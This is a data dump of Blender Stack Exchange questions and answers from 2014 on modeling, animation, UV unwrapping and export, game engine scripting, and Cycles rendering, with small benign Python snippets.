  <row Id="7325" PostTypeId="2" ParentId="5593" CreationDate="2014-02-25T20:45:28.470" Score="10" Body="&lt;p&gt;You may want to see this two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendswap.com/blends/view/56470&quot; rel=&quot;noreferrer&quot;&gt;Cycles_Matlib&lt;/a&gt;, is a blend file with many materials.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sites.google.com/site/aleonserra/home/scripts/matlib-vx&quot; rel=&quot;noreferrer&quot;&gt;Matlibvx addon&lt;/a&gt;, is an addon that add a library (empty) to blender so you can store your on materials, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The good thing is that Cycles_Matlib include files to support Matlibvx so you can use both. They are easy to install (only unzip in addons folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that are materials for cycles. But it also have a old version that I think is for blender internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about Cycles_Matlib in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?252957-Cycles_Matlib-Beta-Release!-Help-Wanted!&quot; rel=&quot;noreferrer&quot;&gt;blenderartists.org thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a preview of materials in Cycles_Matlib:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mEwVS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2014-02-25T20:45:28.470" CommentCount="0" CommunityOwnedDate="2014-02-25T20:45:28.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="7327" PostTypeId="1" AcceptedAnswerId="7328" CreationDate="2014-02-25T22:11:04.723" Score="5" ViewCount="557" Body="&lt;p&gt;I have modeled a section of a wall. That section can be arrayed so that it looks like one seamless wall. I have an array modifier on the wall. I also have am uneven terrain. I have a curve that guides the wall. I have shrinkwrapped the curve so that it sits on the terrain. I expect the the wall to be on the terrain. Instead the wall is hovering in the air although the curve is doing what I expect it to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mitsv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-25T22:11:04.723" Title="Array not following curve shape" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7328" PostTypeId="2" ParentId="7327" CreationDate="2014-02-25T22:11:04.723" Score="5" Body="&lt;p&gt;The wall is not following the terrain because the curve has an unapplied modifier on it. You need to apply the shrinkwrap modifier to it. After you apply it the wall will follow the path like you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6N8wd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-02-25T22:11:04.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7329" PostTypeId="1" AcceptedAnswerId="7336" CreationDate="2014-02-25T22:12:33.443" Score="3" ViewCount="303" Body="&lt;p&gt;When I call &lt;code&gt;bpy.data.objects['Enemy'].game.actuators['&amp;lt;name&amp;gt;'].target = bpy.data.objects['XX']&lt;/code&gt; the value is only updated after pressing &lt;kbd&gt;Esc&lt;/kbd&gt; to quit  game and then hitting &lt;kbd&gt;P&lt;/kbd&gt; to start the game again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I update the target in real time,  without the need to stop and start the game again?&lt;/p&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="599" LastEditDate="2014-02-25T22:16:04.620" LastActivityDate="2014-02-26T01:38:20.040" Title="How set actuator properties while the game is running?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7330" PostTypeId="1" AcceptedAnswerId="7331" CreationDate="2014-02-25T22:36:55.663" Score="10" ViewCount="23564" Body="&lt;p&gt;I have a group of objects, 3 cylinders and 2 text objects. I am able to rotate a single cylinder by adding a rotation keyframe on scene 1 and setting the z rotation to 359 and adding a keyframe on the last frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this for a group of objects?&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2018-04-29T20:35:07.363" Title="How do I rotate a group of objects?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7331" PostTypeId="2" ParentId="7330" CreationDate="2014-02-25T22:40:47.767" Score="9" Body="&lt;p&gt;You have a couple options:&lt;/p&gt;&#xA;&lt;h1&gt;Parenting:&lt;/h1&gt;&#xA;&lt;p&gt;You could &lt;a href=&quot;https://docs.blender.org/manual/en/dev/rigging/armatures/bones/editing/parenting.html&quot; rel=&quot;noreferrer&quot;&gt;Parent&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;) the other objects to an empty or another object, and then rotate that empty/object.&lt;/p&gt;&#xA;&lt;h1&gt;Keyframe all the objects:&lt;/h1&gt;&#xA;&lt;p&gt;Select all the grouped objects by selecting one and the pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&amp;gt; Group&lt;/em&gt;, then insert keyframes for them all by pressing &lt;kbd&gt;I&lt;/kbd&gt;&lt;em&gt;&amp;gt; Rotation&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-04-29T20:35:07.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7332" PostTypeId="1" AcceptedAnswerId="7356" CreationDate="2014-02-25T22:47:54.093" Score="1" ViewCount="1023" Body="&lt;p&gt;I am unwrapping a mesh using the Smart UV Project unwrapper. When I unwrap my mesh some of the UVs are outside of the UV grid. This is undesirable for the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;tileable textures will look wrong&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I cannot texture paint the areas outside of the region&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really like how the Smart UV Project method works other than that. __How can I have the Smart UV Project method only unwrap inside of the UV grid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDHUD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27089&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-25T22:57:20.980" LastActivityDate="2014-02-26T18:34:34.723" Title="Smart UV project unmapping outside of UV space" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7333" PostTypeId="1" AcceptedAnswerId="7341" CreationDate="2014-02-26T00:27:58.577" Score="2" ViewCount="949" Body="&lt;p&gt;When I plot points of a mesh to 2d using &lt;code&gt;bpy_extras.object_utils.world_to_camera_view&lt;/code&gt; the object is centered to the camera. However the actual camera in 3d mode the objects are not centered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image is probably the best way to illustrate what I was expecting versus the results I am getting (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to get these meshes off center as the camera actually sees them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNExB.png&quot; alt=&quot;Expecting To see this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0M1LZ.png&quot; alt=&quot;Actuallying seeing this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if my python code is to blame.. here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..snip.. (for each vector of each mesh)&#xA;blenderVertexIndex = bpy.data.objects[obj.name].data.polygons[indexFace].vertices[indexVector]&#xA;coordinate3D = bpy.data.objects[obj.name].data.vertices[blenderVertexIndex].co * obj.matrix_world&#xA;coordinate2D = bpy_extras.object_utils.world_to_camera_view(bpy.context.scene, bpy.data.objects[&quot;Camera&quot;], coordinate3D)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2586" LastActivityDate="2014-02-26T04:26:28.133" Title="world_to_camera_view incorrectly centering on object" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7335" PostTypeId="1" AcceptedAnswerId="7337" CreationDate="2014-02-26T01:00:41.540" Score="8" ViewCount="2273" Body="&lt;p&gt;I need to animate visibility for a large number of objects which are separated into groups. Typically to toggle visibility one clicks the eye and camera icons in the outliner and presses &quot;I&quot; over them. Unfortunately, this does not work for the &quot;Groups&quot; view in the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5SyVt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this is, and how I can go about quickly keying the objects organized into groups?&lt;/p&gt;&#xA;" OwnerUserId="713" LastActivityDate="2017-10-17T13:17:58.373" Title="Cannot keyframe visibility in outliner &quot;Groups&quot; view" Tags="&lt;animation&gt;&lt;groups&gt;&lt;outliner&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7336" PostTypeId="2" ParentId="7329" CreationDate="2014-02-26T01:38:20.040" Score="4" Body="&lt;p&gt;The bpy module does not work in the game engine, use the bge functions instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objectList = bge.logic.getCurrentScene().objects&#xA;bge.logic.getCurrentController().actuators['&amp;lt;name&amp;gt;'].target = objectList['XX']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information can be found on the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bge.logic.html&quot; rel=&quot;nofollow&quot;&gt;bge.logic&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bge.types.html&quot; rel=&quot;nofollow&quot;&gt;bge.types&lt;/a&gt; pages of the blender python api.&lt;/p&gt;&#xA;" OwnerUserId="2253" LastActivityDate="2014-02-26T01:38:20.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7337" PostTypeId="2" ParentId="7335" CreationDate="2014-02-26T01:49:08.410" Score="11" Body="&lt;p&gt;The group visibility in the outliner is just there for convenience to control the visibility of objects, but is not actually a property of the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects can be apart of more then one group so it wouldn't really make sense for visibility to be a group property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some alternatives are...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assign the same action to all objects, then use that action to control visibility.&lt;br&gt;&lt;em&gt;May conflict with existing animation, so you could check on using the NLA too.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Assign a driver to objects visibility and use a single toggle to control it.&lt;/li&gt;&#xA;&lt;li&gt;Use a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.app.handlers.html#bpy.app.handlers.frame_change_pre&quot; rel=&quot;noreferrer&quot;&gt;frame change&lt;/a&gt; callback from Python and have a script inspect some property and set the visibility of the group based on it.&lt;br&gt;&lt;em&gt;Basically a hack to do something similar to a driver&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Instance the group and change the visibility of that.&lt;br&gt;&lt;em&gt;Realize this isn't always a workable solution.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Solve it elsewhere, use compositing for example to enable/disable different scenes, in some cases material alpha can be used too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-02-26T13:15:22.163" LastActivityDate="2014-02-26T13:15:22.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7339" PostTypeId="2" ParentId="7335" CreationDate="2014-02-26T02:50:16.787" Score="7" Body="&lt;p&gt;Or try the advantage of Graph Editor, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pfS7m.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-26T02:50:16.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7340" PostTypeId="2" ParentId="6979" CreationDate="2014-02-26T04:14:56.557" Score="3" Body="&lt;p&gt;Operators should never have pointer properties and as far as I know there aren't any that do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such pointers would not be valid after deleting objects or after undo/redo steps, which would give problems in the operator history stack when repeating operators for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operators that take datablock names should usually be avoided for python scripting. It's better to edit the data directly than going through operators when possible, there's probably only a handful of cases where you need to do this.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2014-02-26T04:21:50.203" LastActivityDate="2014-02-26T04:21:50.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7341" PostTypeId="2" ParentId="7333" CreationDate="2014-02-26T04:26:28.133" Score="4" Body="&lt;p&gt;There may be another issue here, but at least the matrix-vector multiplication order from object to world space is wrong, it should be the other way around:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coordinate3D = obj.matrix_world * bpy.data.objects[obj.name].data.vertices[blenderVertexIndex].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-02-26T04:26:28.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7342" PostTypeId="2" ParentId="7126" CreationDate="2014-02-26T05:12:03.937" Score="14" Body="&lt;p&gt;Cycles uses Quasi Monte Carlo sampling:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Quasi-Monte_Carlo_method&quot; rel=&quot;noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Quasi-Monte_Carlo_method&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means it will try to evenly distribute samples so rendering converges faster. If you render multiple times with different seeds however then this even distribution is lost because it mixes different distributions without ensuring that the combined result is even too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Blender 2.78 there is a &lt;a href=&quot;https://developer.blender.org/rBf8b9f4e&quot; rel=&quot;noreferrer&quot;&gt;sample offset command line option&lt;/a&gt; to avoid that problem, where you can set it so that each render uses a subset of samples from the same distribution.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2016-12-27T17:27:40.050" LastActivityDate="2016-12-27T17:27:40.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7343" PostTypeId="1" CreationDate="2014-02-26T06:18:29.337" Score="-1" ViewCount="458" Body="&lt;p&gt;I am very new to blender.&#xA;I am trying to make a rigid body and hair to collide, but they don`t, the hairs are just passing through.&#xA;When i googled it I could not find wrong i am doing. only one solution i got is to use force field. buts not what i want.&#xA;I am attaching my &lt;a href=&quot;https://drive.google.com/file/d/0B7cRHtaGh00JSWFtY3BXV0NuRGs/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;blender file&lt;/a&gt;, please find me what is wrong.&lt;/p&gt;&#xA;" OwnerUserId="2602" LastEditorUserId="2602" LastEditDate="2014-03-04T19:48:11.210" LastActivityDate="2014-03-04T19:48:11.210" Title="Simple Collision Simulation issue" Tags="&lt;particles&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-27T00:27:27.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="7344" PostTypeId="2" ParentId="7343" CreationDate="2014-02-26T06:56:53.590" Score="1" Body="&lt;p&gt;After checking the file, you need to tweak a few key options to make this work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set &lt;strong&gt;Collider Friction&lt;/strong&gt; to a higher Value (maximum 1.000);&lt;/li&gt;&#xA;&lt;li&gt;The cube (the active rigid body object) have to be subdivided to a higher resolution, the higher, the better, but slower.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sC8ov.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27095&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-26T07:25:17.583" LastActivityDate="2014-02-26T07:25:17.583" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7345" PostTypeId="1" AcceptedAnswerId="7346" CreationDate="2014-02-26T07:03:07.487" Score="5" ViewCount="2680" Body="&lt;p&gt;I'm currently working on my custom format exporter form blender and have hit some kind of a speed bump... Through tons of experimentation I have finally found that UV data is stored in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh.uv_layers[layer].data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't think that the internal blender data format agrees with the way I'm going about exporting. First off, my exporter assumes that all faces are either triangles or quads. If a face is a quad then it outputs it as two triangles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;t1 = 0 1 2&#xA;t2 = 2 3 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, my exporter just iterates over mesh.polygons and outputs per vertex per triangle, but uv_layers.data obviously doesn't store it this way. So how could I go about exporting it? I need a way to lookup the uv coordinates for a specific vertex and output it in the same way as I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for vert in fac.vertices:&#xA;     file.write(&quot;+v %g %g %g\n&quot; % (obj.vertices[vert].co.x, obj.vertices[vert].co.y, obj.vertices[vert].co.z))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But using the vertex's UV instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are greatly appreciated!&#xA;Thanks guys!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone who runs into a similar problem, here is my working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    for fac in obj.polygons:&#xA;        if len(fac.vertices) == 3:&#xA;            for li in fac.loop_indices:&#xA;                file.write(&quot;+t %g %g\n&quot; % (uv_layer[li].uv.x, uv_layer[li].uv.y))&#xA;        if len(fac.vertices) == 4:&#xA;            file.write(&quot;+t %g %g\n&quot; % (uv_layer[fac.loop_indices[0]].uv.x, uv_layer[fac.loop_indices[0]].uv.y))&#xA;            file.write(&quot;+t %g %g\n&quot; % (uv_layer[fac.loop_indices[1]].uv.x, uv_layer[fac.loop_indices[1]].uv.y))&#xA;            file.write(&quot;+t %g %g\n&quot; % (uv_layer[fac.loop_indices[2]].uv.x, uv_layer[fac.loop_indices[2]].uv.y))&#xA;            file.write(&quot;+t %g %g\n&quot; % (uv_layer[fac.loop_indices[2]].uv.x, uv_layer[fac.loop_indices[2]].uv.y))&#xA;            file.write(&quot;+t %g %g\n&quot; % (uv_layer[fac.loop_indices[3]].uv.x, uv_layer[fac.loop_indices[3]].uv.y))&#xA;            file.write(&quot;+t %g %g\n&quot; % (uv_layer[fac.loop_indices[0]].uv.x, uv_layer[fac.loop_indices[0]].uv.y))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will export the uv coordinates for any triangle or quad in the mesh (Quads are broken down into two triangles). The result is a list of the vertex uv coordinates in order of the vertices. So every 3 lines represents a triangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;obj&lt;/code&gt; is the mesh data of the current mesh, which is accessed by &lt;code&gt;bpy.data.meshes['NameOfMesh']&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="2270" LastEditDate="2014-02-26T23:08:54.657" LastActivityDate="2014-02-26T23:08:54.657" Title="Blender 2.69 Properly Export UV Maps Using Python" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7346" PostTypeId="2" ParentId="7345" CreationDate="2014-02-26T07:29:40.017" Score="4" Body="&lt;p&gt;UV's aren't per vertex in Blender, but per loop (which means per face-vertex). Also see &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?103576-Export-UV-per-Vertex&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/4820/exporting-uv-coordinates&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For triangle export, use the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?327032-Determine-triangle-of-a-quad-for-a-given-point&amp;amp;p=2576936&amp;amp;viewfull=1#post2576936&quot; rel=&quot;nofollow noreferrer&quot;&gt;tessellated faces and split the quads into triangles&lt;/a&gt; or &lt;a href=&quot;https://blender.stackexchange.com/a/7041/1363&quot;&gt;triangulate using the bmesh operator&lt;/a&gt;. Export the faces together with the UV coordinates. If UVs are the same for a shared vertex, you could simply pick the first loop, otherwise interpolate? (may give weird results...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Print loop and vertex indices per polygon together with UV coordinate (uv index equals loop index):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;me = bpy.context.object.data&#xA;uv_layer = me.uv_layers.active.data&#xA;&#xA;for poly in me.polygons:&#xA;    print(&quot;Polygon&quot;, poly.index)&#xA;    for li in poly.loop_indices:&#xA;        vi = me.loops[li].vertex_index&#xA;        uv = uv_layer[li].uv&#xA;        print(&quot;    Loop index %i (Vertex %i) - UV %f %f&quot; % (li, vi, uv.x, uv.y))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-02-26T09:14:09.710" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7347" PostTypeId="2" ParentId="7126" CreationDate="2014-02-26T07:30:16.800" Score="3" Body="&lt;p&gt;You need to use more samples per seed - 10 samples (from the regular Path Tracing integrator) isn't really enough to sample all the materials and lights consistently. Try 100 or even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, stacking seeds will never really be as accurate as a straight render, but the more samples per seed you use, the more accurate it will be. I use this method purely as a resume-able render type of thing.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-02-26T07:30:16.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7348" PostTypeId="1" CreationDate="2014-02-26T07:42:23.597" Score="1" ViewCount="145" Body="&lt;p&gt;As seen from the attached file, Plane A and Plane B have different hair particle system, but with exactly the same settings. However, they acted differently. I just wonder what caused it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27096&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;.blend file.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIntt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-26T07:42:23.597" Title="Why hair particle system with same settings act differently?" Tags="&lt;physics&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7349" PostTypeId="2" ParentId="7298" CreationDate="2014-02-26T13:08:27.537" Score="54" Body="&lt;p&gt;Short answer: &lt;strong&gt;it depends&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applying transformation can be important but it mostly comes down to what you do intend to do with the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at this from a simplistic viewpoint, ideally it wouldn't matter and everything would work just fine even when scaled/rotated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good rule of thumb is:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Apply rotation and scale to your models unless you have a reason not to.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Transformation is split up into translation/rotation/scale, generalizing on Blender's support:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rotated objects (well supported)&lt;/li&gt;&#xA;&lt;li&gt;translated objects (well supported)&lt;/li&gt;&#xA;&lt;li&gt;scaled objects (well supported)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;non-uniform scaled objects&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;negative scaled objects&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last 2 can cause issues with modifiers, constraints and some tools. Even though for basic operations it works fine, there's rarely a good reason to have negative scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considerations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Most modifiers are applied before scale. &lt;em&gt;So the effect of a bevel or solidify could be &lt;strong&gt;squashed&lt;/strong&gt; with non-uniform scale. Armature and hook modifiers are an exception to this rule.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Negative scale will flip the object's normals &lt;em&gt;(when an odd number of axes is flipped)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Most edit mode tools such as smooth-subdivide won't take non-uniform scale into account.&lt;/li&gt;&#xA;&lt;li&gt;Rotation and scale can cause problems with armatures, especially when exporting to different formats.&lt;/li&gt;&#xA;&lt;li&gt;Rigid body physics doesn't support scaled objects well &lt;em&gt;(this could be seen as a bug, nevertheless as it stands it's not working well)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Scale applied after parenting will be applied to children, if you have complex parent/child setups - it's less trouble if you only scale objects when necessary.&lt;/li&gt;&#xA;&lt;li&gt;Extreme scale values &lt;code&gt;&amp;gt;1000.0&lt;/code&gt; or &lt;code&gt;&amp;lt;0.0001&lt;/code&gt; (a large object scaled down or a small object scaled up) can cause floating point math precision issues when in edit mode, also for other calculations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Areas scaled/transformed objects are fine:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Static scenery (maybe you want to have different sized rocks). Objects which don't move or interact with other objects via modifiers, constraints etc.&lt;/li&gt;&#xA;&lt;li&gt;When it's intentional - an object stretches (animate scale with a bouncing ball).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="2581" LastEditDate="2018-07-07T09:50:42.757" LastActivityDate="2018-07-07T09:50:42.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7350" PostTypeId="1" CreationDate="2014-02-26T13:28:44.183" Score="2" ViewCount="687" Body="&lt;p&gt;I'm rendering some indoor architecture, and I'm having trouble with the texture color, because it changes a lot depending on the HDRI I use. I would like to know what the setup of lights is recommended for the so that the textures do not change color as much.&lt;/p&gt;&#xA;" OwnerUserId="2603" LastEditorUserId="20" LastEditDate="2014-02-26T13:59:22.143" LastActivityDate="2014-11-23T22:03:04.793" Title="Lighting parameters to render interior architectural scene?" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-11-23T23:03:32.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="7351" PostTypeId="1" CreationDate="2014-02-26T15:55:57.833" Score="1" ViewCount="2188" Body="&lt;p&gt;I just need to know what format to export my images in before loading them into my blender file, so when I export the video my images don't come out blurred or fuzzy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the best quality format, for example my images are perfect as a pdf, but won't work in blender, with a png or tiff they come out more pixelated &lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2014-02-26T20:30:24.227" Title="Clearest quality format for UV images" Tags="&lt;rendering&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
